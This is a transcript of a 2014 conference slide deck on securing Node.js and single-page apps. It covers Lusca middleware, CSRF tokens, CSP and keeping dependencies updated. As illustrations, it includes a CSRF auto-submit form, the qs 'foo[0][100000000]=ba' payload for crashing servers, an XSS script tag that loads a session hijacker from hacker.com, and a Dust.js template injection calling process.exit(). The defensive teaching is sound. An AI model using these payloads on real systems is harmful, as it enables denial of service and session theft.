$30 off During Our Annual Pro Sale. View Details »

Midwest JS 2014 - Securing your Node.js & Single Page Apps

Midwest JS 2014 - Securing your Node.js & Single Page Apps

My slide deck from my talk at Midwest JS 2014 - Securing your Node.js & Single Page Apps

Mark Stuart

August 14, 2014
Tweet

More Decks by Mark Stuart

Other Decks in Programming

Transcript

  1. Securing
    Your
    Node.js &
    Single Page Apps

    View Slide

  2. bit.ly/jssecurity

    View Slide

  3. @mark_stuart
    @mstuart

    View Slide

  4. How are you
    using JavaScript?

    View Slide

  5. So, why security?

    View Slide

  6. View Slide

  7. View Slide

  8. View Slide

  9. Not just PayPal,
    but your company too.

    View Slide

  10. View Slide

  11. View Slide

  12. View Slide

  13. The scoop on security

    View Slide

  14. Same vulnerabilities.
    Nothing new.

    View Slide

  15. ok cya.

    View Slide

  16. Same vulnerabilities.
    Different beast.

    View Slide

  17. Node

    View Slide

  18. Know what you require()
    Rule #1 !
    !
    !

    View Slide

  19. npm has ~80,000 modules

    View Slide

  20. modulecounts.com

    View Slide

  21. Really great developer
    ecosystem, except…

    View Slide

  22. Anyone can publish anything

    View Slide

  23. Node is still JavaScript
    !
    !
    !
    Rule #2

    View Slide

  24. Client-side vulnerabilities
    still exist on the server-side

    View Slide

  25. Eval is still evil

    View Slide

  26. Do not run as root
    !
    !
    !
    Rule #3

    View Slide

  27. Running as root is wreckless

    View Slide

  28. If you’re compromised,
    terrible things could happen

    View Slide

  29. Steal SSH keys or configs
    Read/write files Execute
    binaries Cause server to hang
    Tamper with routes Inject XSS
    Steal session data Crash server

    View Slide

  30. Steal SSH keys or configs
    Read/write files Execute
    binaries Cause server to hang
    Tamper with routes Inject XSS
    Steal session data Crash server

    View Slide

  31. Steal SSH keys or configs
    Read/write files Execute
    binaries Cause server to hang
    Tamper with routes Inject XSS
    Steal session data Crash server

    View Slide

  32. Steal SSH keys or configs
    Read/write files Execute
    binaries Cause server to hang
    Tamper with routes Inject XSS
    Steal session data Crash server

    View Slide

  33. Steal SSH keys or configs
    Read/write files Execute
    binaries Cause server to hang
    Tamper with routes Inject XSS
    Steal session data Crash server

    View Slide

  34. Steal SSH keys or configs
    Read/write files Execute
    binaries Cause server to hang
    Tamper with routes Inject XSS
    Steal session data Crash server

    View Slide

  35. Steal SSH keys or configs
    Read/write files Execute
    binaries Cause server to hang
    Tamper with routes Inject XSS
    Steal session data Crash server

    View Slide

  36. Steal SSH keys or configs
    Read/write files Execute
    binaries Cause server to hang
    Tamper with routes Inject XSS
    Steal session data Crash server

    View Slide

  37. Ok, so if not root, then what?

    View Slide

  38. Create a user for node
    with restricted permissions
    !
    (plenty of docs out there)

    View Slide

  39. Create a user for node
    with restricted permissions
    !
    (plenty of docs out there)

    View Slide

  40. Create a user for node
    with restricted permissions
    !
    (plenty of docs out there)

    View Slide

  41. Use good security defaults
    !
    !
    !
    Rule #4

    View Slide

  42. Node is a set of
    barebones modules

    View Slide

  43. HTTP
    OS DNS
    TLS/SSL
    Path
    Process
    UDP URL
    File System Crypto Buffer

    View Slide

  44. Express is a
    barebones framework

    View Slide

  45. Express does very
    little to secure your app

    View Slide

  46. But, that’s okay!

    View Slide

  47. … drum roll …

    View Slide

  48. View Slide

  49. Enterprise-grade
    Express "

    View Slide

  50. Lusca
    App Security module for Express

    View Slide

  51. var express = require(‘express’),
    app = express(),
    lusca = require(‘lusca’);

    View Slide

  52. app.use(lusca.csrf());
    app.use(lusca.csp({ /* ... */ }));
    app.use(lusca.hsts({ maxAge: 31536000 });
    app.use(lusca.xframe('SAMEORIGIN'));
    app.use(lusca.p3p('ABCDEF'));
    app.use(lusca.xssProtection(true);

    View Slide

  53. Pardon the interruption

    View Slide

  54. CSRF

    View Slide

  55. Trick victim’s browser into
    making malicious requests
    CSRF

    View Slide

  56. All you need is a valid cookie
    CSRF

    View Slide

  57. #
    User
    yoursite.com
    "
    Cookie
    CSRF

    View Slide

  58. CSRF
    #
    User
    hackedsite.com
    Cookie

    View Slide

  59. transferFunds”>



    !
    document.forms.someHiddenForm.submit();
    CSRF

    View Slide

  60. #
    User
    hackedsite.com
    Cookie
    yoursite.com
    CSRF
    POST /transferFunds

    View Slide

  61. It’s a simple HTTP request.
    CSRF

    View Slide

  62. If only we had a way to ensure
    requests were legitimate…
    CSRF

    View Slide

  63. lusca.csrf();

    View Slide

  64. Token synchronizer pattern
    lusca.csrf();

    View Slide

  65. 1. Creates a random token
    (using some crazy crypto libraries)
    lusca.csrf();

    View Slide

  66. 2. Adds token to res.locals
    lusca.csrf();

    View Slide

  67. 3. Dump token on the page

    lusca.csrf();

    View Slide

  68. 4. Send token with every
    POST, PUT, DELETE request
    lusca.csrf();

    View Slide

  69. $.ajaxPrefilter(function(options, _, xhr) {
    if (!xhr.crossDomain) {
    xhr.setRequestHeader('X-CSRF-Token', csrfToken);
    }
    });
    lusca.csrf();

    View Slide

  70. 5. Verify token is correct,
    otherwise return 403.
    lusca.csrf();

    View Slide

  71. CSP

    View Slide

  72. CSP is really awesome.

    View Slide

  73. It’s basically a whitelist.

    View Slide

  74. Content-Security-Policy:
    default-src 'self' https://*.your-cdn.com;
    script-src 'self' https://*.your-cdn.com;
    img-src https://*.your-cdn.com data:;
    object-src 'self';
    font-src 'self' https://*.googlefonts.com;
    connect-src …
    frame-src …
    style-src …
    media-src …

    View Slide

  75. View Slide

  76. lusca.csp( { /* … */ } );

    View Slide

  77. lusca.csp({
    "default-src": "'self' https://*.your-cdn.com”,
    "script-src": “'self' https://*.your-cdn.com”,
    "img-src": “https://*.your-cdn.com data:”,
    "font-src": “‘self’",
    “report-uri”: “https://mysite.com/cspReporter”
    });

    View Slide

  78. “report-uri”: “https://mysite.com/cspReporter”

    View Slide

  79. lusca.hsts();

    View Slide

  80. lusca.hsts();
    Ensures HTTPS traffic

    View Slide

  81. Helps prevent MITM attacks
    lusca.hsts();

    View Slide

  82. lusca.xframe();

    View Slide

  83. lusca.xframe();
    Prevent others from loading
    your app in an iframe

    View Slide

  84. View Slide

  85. app.use(lusca.xssProtection());
    app.use(lusca.p3p());

    View Slide

  86. app.use(lusca.csrf());
    app.use(lusca.csp({ /* ... */ }));
    app.use(lusca.hsts({ maxAge: 31536000 });
    app.use(lusca.xframe('SAMEORIGIN'));
    app.use(lusca.p3p('ABCDEF'));
    app.use(lusca.xssProtection(true);

    View Slide

  87. Okay, now where were we?

    View Slide

  88. HTTPOnly cookies

    View Slide

  89. Prevents session hijacking
    HTTPOnly cookies

    View Slide

  90. app.use(express.session({
    secret: ‘0m6!s3cr37’,
    cookie: { httpOnly: true, secure: true },
    }));
    HTTPOnly cookies

    View Slide

  91. Set-Cookie:!
    connect.sid=%3AbzLqvcp7DnQJMaLAPmJ7p; !
    Path=/; Expires=Wed, 21 May 2014 18:26:44 GMT;
    HttpOnly
    HTTPOnly cookies

    View Slide

  92. Handle errors, or crash.
    !
    !
    !
    Rule #5

    View Slide

  93. !
    Wed, 21 May 2014 18:49:00 GMT !
    uncaughtException Object # has no method ‘forEach'!
    !
    TypeError: Object # has no method 'forEach'!
    at module.exports.fetchSettings (/Users/marstuart/oddjob/helpers.js:174:18)!
    !
    Process finished with exit code 1!

    View Slide

  94. Basically, a DOS attack

    View Slide

  95. Catch them or restart

    View Slide

  96. Scan for vulnerable modules
    !
    !
    !
    Rule #6

    View Slide

  97. Node Security Project
    http://nodesecurity.io

    View Slide

  98. Audit all modules in npm

    View Slide

  99. Contribute patches

    View Slide

  100. View Slide

  101. Educate others

    View Slide

  102. npm install grunt-nsp-package --save-dev
    grunt validate-package

    View Slide

  103. View Slide

  104. Define custom rules
    ESLint

    View Slide

  105. Security can be automated

    View Slide

  106. Make it a part of your CI

    View Slide

  107. Update your dependencies
    !
    !
    !
    Rule #7

    View Slide

  108. August 6th, just 1 week ago..

    View Slide

  109. DoS attack with qs

    View Slide

  110. qs is a query string parser

    View Slide

  111. qs.parse(‘a=c’);
    // { a: ‘c’ }

    View Slide

  112. qs.parse(‘a=c’);
    // { a: ‘c’ }
    qs.parse(‘a[1]=c&a[0]=b’);
    // { a: [‘b’, ‘c’] }

    View Slide

  113. qs.parse(‘foo[0][100000000]=ba’);
    !
    FATAL ERROR: JS Allocation failed -
    process out of memory
    Abort trap: 6

    View Slide

  114. qs is used by lots of
    popular modules

    View Slide

  115. express hapi
    restify body-parser
    restler superagent

    View Slide

  116. express hapi
    restify body-parser
    restler superagent

    View Slide

  117. express hapi
    restify body-parser
    restler superagent

    View Slide

  118. express hapi
    restify body-parser
    restler superagent

    View Slide

  119. express hapi
    restify body-parser
    restler superagent

    View Slide

  120. express hapi
    restify body-parser
    restler superagent

    View Slide

  121. The problem is…

    View Slide

  122. Most of us are using express

    View Slide

  123. Just pass
    foo[0][100000000]=ba
    as your user agent

    View Slide

  124. Or… pass
    foo[0][100000000]=ba
    as a query string param

    View Slide

  125. And you can crash the server
    FATAL ERROR: JS Allocation failed -
    process out of memory

    View Slide

  126. And you can crash the server
    FATAL ERROR: JS Allocation failed -
    process out of memory

    View Slide

  127. Good news!

    View Slide

  128. It’s been patched

    View Slide

  129. Although you’re probably
    running an old version

    View Slide

  130. Update your dependencies

    View Slide

  131. Add a badge to your README

    View Slide

  132. View Slide

  133. View Slide

  134. david-dm.org

    View Slide

  135. Let’s recap…

    View Slide

  136. 1. Know what you require()
    2. Node is still JavaScript
    3. Do not run as root
    3. Use good security defaults
    4. Security can be automated, too!

    View Slide

  137. Client-side JS

    View Slide

  138. Escape everything.
    !
    !
    !
    Rule #1

    View Slide

  139. Content injection

    View Slide

  140. XSS sucks. It’s everywhere.

    View Slide


  141. <script src='http://hacker.com/
    sessionhijacker.js'></script>

    View Slide

  142. User input and
    backend data

    View Slide

  143. Don’t trust
    backend services
    to escape properly

    View Slide

  144. Persistent or
    Stored XSS

    View Slide

  145. #
    Attacker
    yoursite.com
    PUT /account/edit
    { firstName: ‘…’ }<br/>#<br/>Victim<br/>#<br/>Victim<br/><script>…
    GET /addressBook

    GET /addressBook
    yoursite.com
    yoursite.com

    View Slide

  146. Case Study: TweetDeck worm

    View Slide

  147. TweetDeck worm

    View Slide

  148. TweetDeck worm

    View Slide

  149. Just one tweet.
    TweetDeck worm

    View Slide

  150. Just two months ago.
    TweetDeck worm

    View Slide

  151. … So how do I escape?

    View Slide

  152. DOMPurify and Google Caja

    View Slide


  153. DOMPurify
    Plain ol’ JavaScript
    var clean = DOMPurify.sanitize(dirty);

    View Slide

  154. require(['dompurify'], function(DOMPurify) {
    var clean = DOMPurify.sanitize(dirty);
    });
    RequireJS / AMD
    DOMPurify

    View Slide

  155. Node?
    DOMPurify

    View Slide

  156. Node?
    DOMPurify
    Coming soon!

    View Slide

  157. Know your templating library.
    !
    !
    !
    Rule #2

    View Slide

  158. Use it properly.

    View Slide

  159. Underscore templates

    View Slide

  160. ” />
    ” />

    View Slide

  161. Dust.js templates

    View Slide

  162. {@if cond=“{cardType} === ‘VISA’”}

    {/if}

    View Slide

  163. {@if cond=“{zipCode} === {defaultZipCode}”}

    {/if}
    {
    “zipCode”: “\\”,
    “defaultZipCode”: “);process.exit();//“
    }

    View Slide

  164. Your server crashed.
    $

    View Slide

  165. Upgrade your front-end
    dependencies.
    !
    !
    !
    Rule #3

    View Slide

  166. Retire.js

    View Slide

  167. jQuery <1.9.0
    jQuery Mobile <1.0.1
    Backbone <0.5.0
    Angular <1.2.0
    Handlebars <1.0.0
    YUI <3.9.2
    Ember <1.3.2
    Mustache <0.3.1
    easyXDM <2.4.19

    View Slide

  168. Running "retire:jsPath" (retire) task!
    !
    >> test-files/jquery-1.6.js!
    >> ↳ jquery 1.6 has known vulnerabilities: http://web.nvd.nist.gov/view/
    vuln/detail?vulnId=CVE-2011-4969!
    !
    >> Aborted due to warnings.
    npm install grunt-retire --save-dev
    grunt retire

    View Slide

  169. Automate it!

    View Slide

  170. C’mon, it’s 1 line.

    View Slide

  171. Rules of Thumb

    View Slide

  172. No matter what you do,
    someone will always
    find a way in

    View Slide

  173. But, you’ll get 80% there
    if you…

    View Slide

  174. Choose libraries with
    good security defaults.
    !
    !
    !

    View Slide

  175. Sanitize data coming in
    and going out.
    !
    !
    !

    View Slide

  176. Update your dependencies!
    !
    !
    !

    View Slide

  177. Automate security, too.
    !
    !
    !

    View Slide

  178. Ok.

    View Slide

  179. Ok. so,

    View Slide

  180. Ok. so, listen…

    View Slide

  181. Node is awesome.

    View Slide

  182. It’s enterprise ready.

    View Slide

  183. We just need to write
    better, more secure apps.

    View Slide

  184. thanks!

    View Slide

  185. We’re hiring!

    View Slide

  186. mark stuart
    @mark_stuart
    @mstuart

    View Slide

  187. Links
    https://github.com/nodesecurity/grunt-nsp-package
    https://github.com/bekk/grunt-retire
    https://nodesecurity.io/
    https://github.com/evilpacket/helmet
    http://krakenjs.com/
    https://github.com/krakenjs/lusca
    https://david-dm.org/
    https://www.owasp.org/index.php/Cross-Site

    View Slide